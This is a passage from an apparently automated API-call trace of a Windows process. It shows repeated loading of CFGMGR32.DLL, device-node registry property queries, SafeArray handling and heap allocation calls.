(hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.108] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.110] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0221.110] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0221.111] malloc (_Size=0xe6) returned 0x196ef0d67b0 [0221.111] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0221.111] free (_Block=0x196ef0d67b0) [0221.111] malloc (_Size=0x48) returned 0x196ef0fbe50 [0221.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x64a4c6c7, dwHighDateTime=0x1d9eb0c)) [0221.112] SetEvent (hEvent=0x248) returned 1 [0221.261] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0221.261] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0221.261] free (_Block=0x196ef0d1cc0) [0221.261] malloc (_Size=0x18) returned 0x196ef0d1d60 [0221.261] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0221.261] free (_Block=0x196ef0d1d60) [0221.261] malloc (_Size=0x18) returned 0x196ef0d1b40 [0221.261] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0221.261] free (_Block=0x196ef0d1b40) [0221.261] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0221.261] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0221.261] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0221.262] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0221.262] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0221.262] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0221.262] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0221.262] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0221.262] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0221.262] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e4f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.263] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e4f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.263] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e500, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.264] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0221.265] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0221.265] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.265] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.266] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.267] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.268] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.279] malloc (_Size=0x18) returned 0x196ef0d1c20 [0221.279] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0221.279] malloc (_Size=0x54) returned 0x196ef101100 [0221.280] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef101100, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef101100, pulLength=0x67117d608) returned 0x0 [0221.280] free (_Block=0x196ef101100) [0221.280] malloc (_Size=0x48) returned 0x196ef0fbd60 [0221.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x64bfdd84, dwHighDateTime=0x1d9eb0c)) [0221.281] SetEvent (hEvent=0x248) returned 1 [0221.284] malloc (_Size=0x18) returned 0x196ef0d1de0 [0221.284] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0221.284] free (_Block=0x196ef0d1de0) [0221.284] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0221.284] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0221.284] free (_Block=0x196ef0d1ac0) [0221.284] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0221.284] SafeArrayPutElement (psa=0x196ef1f2770, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0221.284] free (_Block=0x196ef0d1ea0) [0221.284] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0221.284] SafeArrayGetDim (psa=0x196ef1f2770) returned 0x1 [0221.285] SafeArrayGetLBound (in: psa=0x196ef1f2770, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0221.285] SafeArrayGetUBound (in: psa=0x196ef1f2770, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0221.285] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0221.285] SafeArrayGetDim (psa=0x196ef1f2770) returned 0x1 [0221.285] SafeArrayGetUBound (in: psa=0x196ef1f2770, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0221.285] SafeArrayGetElemsize (psa=0x196ef1f2770) returned 0x8 [0221.285] SafeArrayGetElement (in: psa=0x196ef1f2770, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0221.286] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e4f0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.286] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e4f8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.286] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e500, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0221.287] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0221.287] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0221.288] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.288] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.288] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.289] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.290] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.291] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.292] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.293] malloc (_Size=0x18) returned 0x196ef0d1a60 [0221.293] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.294] malloc (_Size=0x48) returned 0x196ef0fba40 [0221.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64c16014, dwHighDateTime=0x1d9eb0c)) [0221.294] SetEvent (hEvent=0x248) returned 1 [0221.297] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.297] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.300] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.301] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.301] malloc (_Size=0x18) returned 0x196ef0d1be0 [0221.301] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.301] malloc (_Size=0x48) returned 0x196ef0fb770 [0221.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64c3c1ee, dwHighDateTime=0x1d9eb0c)) [0221.302] SetEvent (hEvent=0x248) returned 1 [0221.307] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.307] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.307] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.308] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.309] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.310] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.311] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.311] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0221.311] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.312] malloc (_Size=0x48) returned 0x196ef0fc030 [0221.312] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64c3c1ee, dwHighDateTime=0x1d9eb0c)) [0221.312] SetEvent (hEvent=0x248) returned 1 [0221.431] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.431] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.431] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.432] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.433] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.434] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.435] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0221.435] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0221.435] malloc (_Size=0x48) returned 0x196ef0fba40 [0221.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64d6d4ae, dwHighDateTime=0x1d9eb0c)) [0221.435] SetEvent (hEvent=0x248) returned 1 [0221.441] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0221.441] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0221.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0221.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0221.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0221.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0221.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0221.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0221.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0221.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0221.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0221.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0221.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0221.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0221.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0221.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0221.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0221.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0221.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0221.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0221.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0221.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0221.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0221.444] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0221.444] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x18, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0221.447] malloc (_Size=0x48) returned 0x196ef0fbe50 [0221.447] GetSystemTimeAsFileTime (in: 